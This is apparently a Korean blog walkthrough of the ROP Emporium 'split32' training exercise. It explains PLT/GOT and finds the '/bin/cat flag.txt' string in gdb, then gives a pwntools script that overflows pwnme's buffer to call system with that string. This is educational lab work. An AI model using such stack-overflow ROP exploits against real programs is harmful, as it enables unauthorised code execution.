file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped
checksec split32
[*] '/root/ropemporium/split32/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
문제에서 "/bin/cat flag.txt"와 system 함수가 binary에 모두 있다고 한다. system 함수에 /bin/cat flag.txt를 argument로 전달하면 된다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts("split by ROP Emporium");
puts("x86\n");
pwnme();
puts("\nExiting");
return 0;
}
int pwnme()
{
_BYTE s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0, s, 0x60u);
return puts("Thank you!");
}
int usefulFunction()
{
return system("/bin/ls");
}
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0804860c <+0>: push ebp
0x0804860d <+1>: mov ebp,esp
0x0804860f <+3>: sub esp,0x8
0x08048612 <+6>: sub esp,0xc
0x08048615 <+9>: push 0x804870e
0x0804861a <+14>: call 0x80483e0 <system@plt>
0x0804861f <+19>: add esp,0x10
0x08048622 <+22>: nop
0x08048623 <+23>: leave
0x08048624 <+24>: ret
End of assembler dump.
여기서 보면 0x080461a가 system 함수의 주소인지 0x80483e0가 system 함수의 주소인지 좀 헷갈린다. 결론적으로는 0x080461a가 system 함수의 주소이다. 0x80483e0은 system 함수의 Procedure Linkage Table(PLT) entry이다.
PLT는 dynamically linked ELF 파일들이 runtime에 function calls를 resolve 하는 데 사용하는 방식이다.
PLT는 _dl_runtime_resolve를 이용하여 프로그램 내부의 실제 함수의 주소를 알아낸다.
PLT가 실제 함수의 주소를 알아낸 이후에는 Global Offset Table(GOT)에 함수의 주소를 저장한다.
해당 함수를 이후에 호출하게 된다면 PLT entry를 찾아가지 않고 GOT에 저장한 함수의 주소를 바로 찾는다.
gdb를 이용해서 breakpoint를 건 다음 grep으로 /bin/cat의 메모리 주소를 알 수 있다.
gef➤ grep /bin/cat
[+] Searching '/bin/cat' in memory
[+] In '/root/ropemporium/split32/split32'(0x804a000-0x804b000), permission=rw-
0x804a030 - 0x804a041 → "/bin/cat flag.txt"
p32나 p64로 함수를 호출하는 순서는 C, Python에서 함수를 호출하는 순서와 동일하다. 먼저 system 함수를 packing 하고 그다음에 전달할 argument를 적듯이 /bin/cat을 packing 하면 된다.
from pwn import *
p=process('./split32')
payload=b'A'*44
payload+=p32(0x0804861a) # usefulFunction
payload+=p32(0x804a030) # /bin/cat
p.send(payload)
p.interactive()
'ROP emporium' 카테고리의 다른 글
ret2win (0) | 2024.11.17 |
---|---|
ret2win32 (0) | 2024.11.16 |